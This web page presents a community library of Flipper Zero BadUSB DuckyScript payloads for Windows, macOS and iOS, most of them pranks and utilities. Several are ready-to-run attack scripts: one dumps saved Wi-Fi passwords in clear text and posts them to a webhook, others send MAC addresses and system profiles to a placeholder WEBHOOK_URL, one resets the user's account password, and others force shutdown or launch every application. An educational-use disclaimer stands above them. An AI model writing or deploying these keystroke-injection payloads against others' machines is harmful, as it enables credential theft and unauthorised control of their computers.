Flipper Zero — BadUSB Payload Library

🐬 Flipper Zero · BadUSB Library

44 payloads 15 Windows 26 macOS 3 iOS

Contribute GitHub

⚠

Educational use only

BadUSB payloads are DuckyScript® scripts that the Flipper Zero executes by emulating a USB keyboard — automatically running commands, opening terminals, or collecting system info upon connection.

Use these only on your own devices or with explicit written permission. Unauthorized use is illegal. Collection by bst04 · github.com/bst04/payloads_flipperZero · GPL-3.0

🪟 Windows DuckyScript 1.0

15 payloads

Prank

6

AlarmGreen

WindowsPrank

DuckyScript

REM Alarm — Windows
DELAY 1000
GUI r
DELAY 500
STRING powershell -NoP -W H -C "[console]::beep(1000,500)"
ENTER

Join Discord ServerOrange

WindowsPrank

DuckyScript

REM Join Discord Server
REM ⚠ Replace INVITE_CODE
DELAY 1000
GUI r
DELAY 500
STRING https://discord.gg/INVITE_CODE
ENTER

Spam TerminalsGreen

WindowsPrank

DuckyScript

REM Spam 10 cmd terminals
DELAY 1000
DEFAULT_DELAY 300
REPEAT 10
GUI r
DELAY 400
STRING cmd
ENTER

Rick RollGreen

WindowsPrank

DuckyScript

REM Rick Roll via browser
DELAY 1000
GUI r
DELAY 500
STRING https://youtu.be/dQw4w9WgXcQ
ENTER

Fake BSODGreen

WindowsPrank

DuckyScript

REM Fake BSOD popup
DELAY 1000
GUI r
DELAY 500
STRING powershell -c "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('CRITICAL_PROCESS_DIED','Error',0,16)"
ENTER

BAT File PrankGreen

WindowsPrank

DuckyScript

REM BAT prank — msg popup
DELAY 1000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 600
STRING echo msg * Hacked > %tmp%\p.bat && %tmp%\p.bat
ENTER

Execution

1

Change User PasswordGreen

WindowsExecution

DuckyScript

REM Change User Password
DELAY 1000
GUI r
DELAY 500
STRING cmd /k net user %USERNAME% NewPass123!
ENTER

Utility

5

Check BatteryGreen

WindowsUtility

DuckyScript

REM Check Battery Status
DELAY 1000
GUI r
DELAY 500
STRING powershell -c "Get-WmiObject Win32_Battery | Select EstimatedChargeRemaining"
ENTER

Battery Report (BAT)Green

WindowsUtility

DuckyScript

REM Battery Report via BAT file
DELAY 1000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 600
STRING powercfg /batteryreport /output "%userprofile%\battery.html" && start "%userprofile%\battery.html"
ENTER

Open WebsiteGreen

WindowsUtility

DuckyScript

REM Open Website via Run
DELAY 1000
GUI r
DELAY 500
STRING https://github.com/bst04/payloads_flipperZero
ENTER

Open Website (BAT)Green

WindowsUtility

DuckyScript

REM Open Website via BAT
DELAY 1000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 600
STRING echo start https://github.com/bst04 > %tmp%\o.bat && %tmp%\o.bat
ENTER

PC LoginGreen

WindowsUtility

DuckyScript

REM PC Login automation
DELAY 500
SPACE
DELAY 500
STRING YourPasswordHere
ENTER

General

1

ShutdownGreen

WindowsGeneral

DuckyScript

REM Shutdown immediately
DELAY 1000
GUI r
DELAY 500
STRING shutdown /s /t 0
ENTER

Credentials

2

Get MAC Address → WebhookOrange

WindowsCredentials

DuckyScript

REM Get MAC Address → Webhook
REM ⚠ Replace WEBHOOK_URL
DELAY 1000
GUI r
DELAY 500
STRING powershell -c "getmac | Invoke-RestMethod -Uri 'WEBHOOK_URL' -Method POST"
ENTER

Get WiFi Keys → WebhookOrange

WindowsCredentials

DuckyScript

REM Get WiFi Passwords → Webhook
REM ⚠ Replace WEBHOOK_URL
DELAY 1000
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 800
STRING (netsh wlan show profiles) | % { netsh wlan show profile $_ key=clear } | Invoke-RestMethod -Uri 'WEBHOOK_URL' -Method POST
ENTER

Want to add a payload?

This library is open source and community-driven. Fork the repo, add your .txt payload following the existing structure, and open a pull request. All platforms are welcome.

Fork repo Open a Pull Request

🍎 macOS DuckyScript 1.0

26 payloads

Execution

16

Change Discord NameGreen

macOSExecution

DuckyScript

REM Change Discord Name — macOS
DELAY 1000
GUI SPACE
DELAY 500
STRING Discord
ENTER
DELAY 1500
STRING Hacked by Flipper Zero 🐬
ENTER

Open All AppsGreen

macOSExecution

DuckyScript

REM Open All Applications — macOS
DELAY 1000
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY 1000
STRING ls /Applications/*.app | xargs -I {} open "{}"
ENTER

Credentials

2

Get MAC Address → WebhookOrange

macOSCredentials

DuckyScript

REM Get MAC Address → Webhook — macOS
REM ⚠ Replace WEBHOOK_URL
DELAY 1000
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY 800
STRING ifconfig en0 | grep ether | awk '{print $2}' | curl -X POST -d @- WEBHOOK_URL
ENTER

Send System Profile → WebhookOrange

macOSCredentials

DuckyScript

REM Send System Profile → Webhook — macOS
REM ⚠ Replace WEBHOOK_URL
DELAY 1000
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY 800
STRING system_profiler SPSoftwareDataType SPHardwareDataType | curl -X POST -d @- WEBHOOK_URL
ENTER

Prank

5

Pop Up DialogGreen

macOSPrank

DuckyScript

REM Pop Up dialog — macOS
DELAY 1000
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY 800
STRING osascript -e 'display dialog "Hacked by Flipper Zero!" with title "Warning"'
ENTER

General

2

Go to RepositoryGreen

macOSGeneral

DuckyScript

REM Open Repository in Safari
DELAY 1000
GUI SPACE
DELAY 500
STRING https://github.com/bst04/payloads_flipperZero
ENTER

Updates

1

Force Software UpdateGreen

macOSUpdates

DuckyScript

REM Force macOS Software Update
DELAY 1000
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY 800
STRING softwareupdate --all --install --force
ENTER

Want to add a payload?

Got a macOS script that works? Fork the repo and open a pull request — all contributions are welcome.

Fork repo Open a Pull Request

📱 iOS DuckyScript 1.0

3 payloads

Prank

2

Text SomeoneOrange

iOSPrank

DuckyScript

REM Text Someone — iOS
REM ⚠ Requires contact configured
DELAY 1000
HOME
DELAY 500
STRING Hacked by Flipper Zero 🐬
ENTER

RickRoll ContactsGreen

iOSPrank

DuckyScript

REM RickRoll Contacts — iOS
DELAY 1000
HOME
DELAY 500
STRING https://youtu.be/dQw4w9WgXcQ
ENTER

General

1

Go to RepositoryGreen

iOSGeneral

DuckyScript

REM Open Repository — iOS
DELAY 1000
HOME
DELAY 500
STRING https://github.com/bst04/payloads_flipperZero
ENTER

iOS payloads are limited — help grow the collection!

iOS payloads are tricky. If you have one that works reliably, please share it by opening a pull request.

Fork repo Open a Pull Request